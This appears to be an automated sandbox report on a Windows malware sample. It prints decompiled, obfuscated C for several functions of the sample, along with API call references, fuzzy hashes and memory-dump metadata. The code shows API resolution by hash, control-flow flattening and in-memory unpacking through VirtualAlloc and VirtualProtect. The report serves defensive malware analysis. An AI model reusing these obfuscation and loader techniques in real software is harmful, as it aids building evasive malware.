Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D$X~
API String ID: 963392458-2090554203
Opcode ID: 3ca35c8a629cf3e18dccd908fc2d42b58e8644b38627d1c0fa0530dd49272a9d
Instruction ID: fcdd1c21e5cc56a01715304e64355f94679110e4d02763c3d6f17c98453e16e3
Opcode Fuzzy Hash: 3ca35c8a629cf3e18dccd908fc2d42b58e8644b38627d1c0fa0530dd49272a9d
Instruction Fuzzy Hash: 2121DB357002111BEB16AB7ACC51BFB3BAAABD0B08F00452DB754CF6A1FA70DA008785

Uniqueness

Uniqueness Score: -1.00%

Function 003B80A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 219
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E003B80A0(signed int __edx) {
				short _v524;
				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t81;
				void* _t82;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t88;
				intOrPtr* _t89;
				void* _t91;
				void* _t95;
				intOrPtr _t100;
				char _t104;
				signed int _t121;
				void* _t124;
				void* _t126;
				void* _t127;
				signed int* _t128;
				void* _t130;

				_t121 = __edx;
				_t128 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t127 = _v584;
				_t95 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t130 = _t58 - 0xea5411f;
							if(_t130 > 0) {
								break;
							}
							if(_t130 == 0) {
								_t72 = E003B34C0(0x3bd970);
								_t121 =  *0x3be158;
								_t126 = _t72;
								if(_t121 == 0) {
									_t121 = E003B3E60(_t95, E003B3F00(0xc6fbcd74), 0xba71dd03, _t127);
									 *0x3be158 = _t121;
								}
								_t100 =  *0x3be54c; // 0x51e730
								_t50 = _t100 + 0x260; // 0x51e990
								_t51 = _t100 + 0x18; // 0x51e748
								 *_t121( &_v524, 0x104, _t126, _t51, _t50);
								_t77 =  *0x3be494;
								_t128 =  &(_t128[5]);
								if(_t77 == 0) {
									_t82 = E003B3F00(0x9bab0b12);
									_t121 = 0x7facde30;
									_t77 = E003B3E60(_t95, _t82, 0x7facde30, _t127);
									 *0x3be494 = _t77;
								}
								_t124 =  *_t77();
								_t79 =  *0x3bdf30;
								if(_t79 == 0) {
									_t81 = E003B3F00(0x9bab0b12);
									_t121 = 0x5010a54d;
									_t79 = E003B3E60(_t95, _t81, 0x5010a54d, _t127);
									 *0x3bdf30 = _t79;
								}
								 *_t79(_t124, 0, _t126);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t85 =  *0x3be1d4;
									if(_t85 == 0) {
										_t87 = E003B3F00(0x9bab0b12);
										_t121 = 0xa229df38;
										_t85 = E003B3E60(_t95, _t87, 0xa229df38, _t127);
										 *0x3be1d4 = _t85;
									}
									 *_t85( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t88 = _v568;
										_t104 = _v572;
										_v560 = _t88;
										_v552 = _t88;
										_v544 = _t88;
										_v536 = _t88;
										_t89 =  *0x3bdee4;
										_v564 = _t104;
										_v556 = _t104;
										_v548 = _t104;
										_v540 = _t104;
										_v532 = 0;
										if(_t89 == 0) {
											_t91 = E003B3F00(0x9bab0b12);
											_t121 = 0x4bf45878;
											_t89 = E003B3E60(_t95, _t91, 0x4bf45878, _t127);
											 *0x3bdee4 = _t89;
										}
										 *_t89(_t127, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t95 =  !=  ? 1 : _t95;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E003BB6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t121;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x3bde04 == 0) {
								_t66 = E003B3F00(0x9bab0b12);
								_t121 = 0xb66d748a;
								 *0x3bde04 = E003B3E60(_t95, _t66, 0xb66d748a, _t127);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t127 = _t64;
							if(_t127 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									_t68 =  *0x3bde3c;
									if(_t68 == 0) {
										_t68 = E003B3E60(_t95, E003B3F00(0x9bab0b12), 0x20de7595, _t127);
										 *0x3bde3c = _t68;
									}
									 *_t68(_t127);
									L34:
									return _t95;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t95;
					goto L35;
				}
			}

0x003b80a0
0x003b80a0
0x003b80a6
0x003b80ae
0x003b80b3
0x003b80bb
0x003b80c3
0x003b80ca
0x003b80ce
0x003b80d2
0x003b80d9
0x003b80e0
0x003b80e7
0x003b80ee
0x003b80f5
0x003b80fc
0x003b8103
0x003b8112
0x003b8116
0x003b8119
0x003b811d
0x003b8125
0x003b8133
0x003b8137
0x003b813f
0x003b8147
0x003b814f
0x003b8153
0x003b815b
0x003b8163
0x003b8163
0x003b8168
0x003b8170
0x003b8170
0x003b8170
0x003b8170
0x003b8175
0x00000000
0x00000000
0x003b817b
0x003b828c
0x003b8291
0x003b8297
0x003b829b
0x003b82b3
0x003b82b5
0x003b82b5
0x003b82bb
0x003b82c1
0x003b82c8
0x003b82d7
0x003b82d9
0x003b82de
0x003b82e3
0x003b82ea
0x003b82ef
0x003b82f6
0x003b82fb
0x003b82fb
0x003b8302
0x003b8304
0x003b830b
0x003b8312
0x003b8317
0x003b831e
0x003b8323
0x003b8323
0x003b832c
0x003b832e
0x00000000
0x003b8181
0x003b8186
0x003b8252
0x003b8259
0x003b8260
0x003b8265
0x003b826c
0x003b8271
0x003b8271
0x003b827b
0x003b827d
0x00000000
0x003b818c
0x003b8191
0x003b81e3
0x003b81e7
0x003b81eb
0x003b81ef
0x003b81f3
0x003b81f7
0x003b81fb
0x003b8200
0x003b8204
0x003b8208
0x003b820c
0x003b8210
0x003b821a
0x003b8221
0x003b8226
0x003b822d
0x003b8232
0x003b8232
0x003b8241
0x003b8245
0x003b824a
0x00000000
0x003b8193
0x003b8198
0x00000000
0x003b819e
0x003b81a0
0x003b81a8
0x003b81c4
0x003b81c8
0x003b81d4
0x003b81d8
0x003b81dd
0x00000000
0x003b81dd
0x003b8198
0x003b8191
0x003b8186
0x00000000
0x003b817b
0x003b833d
0x003b8377
0x003b837e
0x003b8383
0x003b8391
0x003b8391
0x003b83b4
0x003b83b6
0x003b83bb
0x00000000
0x003b83bd
0x003b83bd
0x00000000
0x003b83bd
0x003b833f
0x003b8344
0x003b8365
0x00000000
0x003b8346
0x003b834b
0x003b83c7
0x003b83ce
0x003b83e1
0x003b83e6
0x003b83e6
0x003b83ec
0x003b83f1
0x003b83fa
0x00000000
0x00000000
0x00000000
0x003b834b
0x003b8344
0x00000000
0x003b834d
0x003b834d
0x003b8364
0x00000000
0x003b8364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 003B83B4

Strings

0Q, xrefs: 003B82BB

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: 0Q
API String ID: 823142352-1780094543
Opcode ID: 468df79154c71fc981e15e41f887b592c9748624c797d9420490dc4c49058517
Instruction ID: 5ef0a21f78b09f957648856a1e17a03a30ff9bdaf4e2c491c76c7ecbb37d94ec
Opcode Fuzzy Hash: 468df79154c71fc981e15e41f887b592c9748624c797d9420490dc4c49058517
Instruction Fuzzy Hash: 1681BD756083018FD71ADF68C8546ABB7EDAB9475CF10092EF289CB690EB74DE01CB52

Uniqueness

Uniqueness Score: -1.00%

Function 003B30A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E003B30A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x3be1cc;
										if(_t95 == 0) {
											_t95 = E003B3E60(_t93, E003B3F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x3be1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x3be494;
							if(_t62 == 0) {
								_t62 = E003B3E60(_t93, E003B3F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x3be494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x3bdd18 == 0) {
								 *0x3bdd18 = E003B3E60(_t93, E003B3F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x3be43c;
								if(_t116 == 0) {
									_t116 = E003B3E60(_t93, E003B3F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x3be43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E003B3D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x003b30a2
0x003b30a6
0x003b30ac
0x003b30b1
0x003b30b6
0x003b30ba
0x003b30ba
0x003b30c0
0x003b30c0
0x003b30c0
0x003b30c0
0x003b30c5
0x00000000
0x00000000
0x003b30cb
0x003b31f1
0x003b32f9
0x003b3300
0x003b31f7
0x003b31f7
0x00000000
0x003b31f7
0x003b30d1
0x003b30d6
0x003b31e5
0x00000000
0x003b30dc
0x003b30e1
0x003b31a0
0x003b31a8
0x003b31c0
0x003b31c2
0x003b31c2
0x003b31ce
0x003b31d0
0x003b30ba
0x003b30ba
0x00000000
0x003b30ba
0x003b30e7
0x003b30ec
0x00000000
0x003b30f2
0x003b30f2
0x003b310d
0x003b3111
0x003b311f
0x003b3123
0x003b3130
0x003b3139
0x003b3147
0x003b314b
0x003b3153
0x003b315b
0x003b3175
0x003b317f
0x003b3187
0x003b318b
0x003b3193
0x003b30ba
0x003b30ba
0x00000000
0x003b30ba
0x003b30ba
0x003b30ec
0x003b30e1
0x003b30d6
0x00000000
0x003b30cb
0x003b3206
0x003b3245
0x003b324c
0x003b325f
0x003b3264
0x003b3264
0x003b326b
0x003b3274
0x003b328c
0x003b328c
0x003b3299
0x003b329b
0x003b329f
0x00000000
0x003b32a1
0x003b32a1
0x00000000
0x003b32a1
0x003b3208
0x003b320d
0x003b32ab
0x003b32b3
0x003b32cb
0x003b32cd
0x003b32cd
0x003b32e4
0x003b32e6
0x003b32ed
0x003b32f0
0x003b32f3
0x00000000
0x003b3213
0x003b3218
0x00000000
0x003b321a
0x003b3221
0x003b3223
0x003b30ba
0x003b30ba
0x00000000
0x003b30ba
0x003b30ba
0x003b3218
0x003b320d
0x00000000
0x003b322d
0x003b322d
0x003b3242
0x00000000
0x003b3242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 003B3299

Strings

|., xrefs: 003B30F2

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: ec7f5942c15f5dad40a4b140e815d0efcd6625ab9601f0c9d6328ab82c344162
Instruction ID: 5a47a2a9870e1c13882b1d1430f793b657858fcba00e8342627b380f0c479f97
Opcode Fuzzy Hash: ec7f5942c15f5dad40a4b140e815d0efcd6625ab9601f0c9d6328ab82c344162
Instruction Fuzzy Hash: 2551C371B083218BC719DF6CC4855AA7BEAEBD4308F60491EF651CBB51DB31DA098792

Uniqueness

Uniqueness Score: -1.00%

Function 003B7080, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E003B7080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E003B34C0(__ecx);
				if( *0x3bdd1c == 0) {
					 *0x3bdd1c = E003B3E60(__ebx, E003B3F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x3be548; // 0x557de0
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x3be494;
				if(_t7 == 0) {
					_t7 = E003B3E60(_t15, E003B3F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x3be494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x3bdf30;
				if(_t9 == 0) {
					_t9 = E003B3E60(_t15, E003B3F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x3bdf30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x003b7080
0x003b7082
0x003b7089
0x003b7092
0x003b70aa
0x003b70aa
0x003b70b0
0x003b70b2
0x003b70b8
0x003b70bc
0x003b70c3
0x003b70d6
0x003b70db
0x003b70db
0x003b70e2
0x003b70e4
0x003b70eb
0x003b70fe
0x003b7103
0x003b7103
0x003b7110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,003B721D,003B68AC), ref: 003B70B0

Strings

}U, xrefs: 003B70B2

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: }U
API String ID: 1029625771-1705064028
Opcode ID: e33c9f50ac8581bcb550e598fb3ff0272ccadfbafec1c7ced89e7676ccaff05a
Instruction ID: 3c4ed28ea85ad4dc736e129ab193a7980208c4432511886d528ea917ae8e63ff
Opcode Fuzzy Hash: e33c9f50ac8581bcb550e598fb3ff0272ccadfbafec1c7ced89e7676ccaff05a
Instruction Fuzzy Hash: 1C018F317142200B9B17AF7E98506BA2AAFDBD075CB10052EA215CB615FA30DD018790

Uniqueness

Uniqueness Score: -1.00%

Function 003A0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003A0F08
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003A0F3E
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003A0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 003A061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 003A069C

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: f6ba8f7cd6fc1d0a971324f60d29a2a670b08c82312b329dc872e209a2f80f52
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 8C3156B365420157E3299A69DC85BEBB3C4DBE3358F08093AF905D22A0D52ED468C265

Uniqueness

Uniqueness Score: -1.00%

Function 003B5CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E003B65E0();
				if( *0x3bddb8 == 0) {
					 *0x3bddb8 = E003B3E60(_t5, E003B3F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x003b5ce0
0x003b5cec
0x003b5d04
0x003b5d04
0x003b5d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 003B5D0B

Memory Dump Source

Source File: 00000009.00000002.2265821061.00000000003B1000.00000020.00000001.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000009.00000002.2265816784.00000000003B0000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265828788.00000000003BD000.00000004.00000001.sdmp Download File
Associated: 00000009.00000002.2265833373.00000000003BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b0000_wcnwiz.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 54657ed459f4e52bfa1cdb1e7d36819f9ff759a73e6c3db3811afef5f396dfd2
Instruction ID: 7f5f917079a67e21479a63cb8b69b399cb79c43584009896e6e48f10b64a2cbd
Opcode Fuzzy Hash: 54657ed459f4e52bfa1cdb1e7d36819f9ff759a73e6c3db3811afef5f396dfd2
Instruction Fuzzy Hash: AED0C92174421446DA5AABB558567AA259A8FA074CF10411EE251CFA96FE34C910A760

Uniqueness

Uniqueness Score: -1.00%

Function 003A0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003A0F08
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003A0F3E
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003A0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 003A0BFF

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 95cc0a725d85e6645528a0d8692211dadaa84b61fa9689142e56cc0a8e48efbb
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: 77511370640218ABDB25CF54CE86FEAB7B8EF56701F004195FA08BB190D7B89D85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 003A0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 003A0F08
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 003A0F3E
Part of subcall function 003A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 003A0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 003A02F6

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: 71abd8539653be0f187fd6e7e7273be188a708059bd7857cf16f581db62852b3
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: 0C5138B1900268ABDB24EF64DD88BDEB778EF89700F0045D9F509BB250DB745A85CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 003A0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Six, xrefs: 003A0099
Eight, xrefs: 003A00B3
Seven, xrefs: 003A00A6
Three, xrefs: 003A0072
Four, xrefs: 003A007F
Five, xrefs: 003A008C
One, xrefs: 003A005B
Nine, xrefs: 003A00C0
Ten, xrefs: 003A00CD
Two, xrefs: 003A0065

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: 6cf10ac20ea3937546dc0497d20ccc28d9de9ee528e7b101cc4ee51b81546126
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 79313D78E511289BCB04DB98CD80AED7BB5FF5C340B508027D502737A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 003A06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 581a047e9d35ff1edea462f69c8194f0f1771b434f0cd33a9a7cc4a96cb53c1c
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 6E51C5B2A043019BD72ADF26C841B5BB3ECEFD6794F04492EF548E7241E239D914C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 003A08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2265812164.00000000003A0000.00000040.00000001.sdmp, Offset: 003A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3a0000_wcnwiz.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 8c3ad75dd7c2e9358d0053cbfff2e6806b43148ccae144175ad46fff2d646fdb
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction Fuzzy Hash: 4D4137B66143015FC329DF69CC49BABB3D9EFD6B50F09893EF640DA240D271D90887A6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SampleRes.exe PID: 2004 Parent PID: 2064 SampleRes.exeCOMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1169
Total number of Limit Nodes:	13

Executed Functions

Function 007A0400, Relevance: 21.1, APIs: 14, Instructions: 132
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00401010,00000000,?), ref: 007A0448

Part of subcall function 007A1140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,007A0EFD,00000000), ref: 007A1155

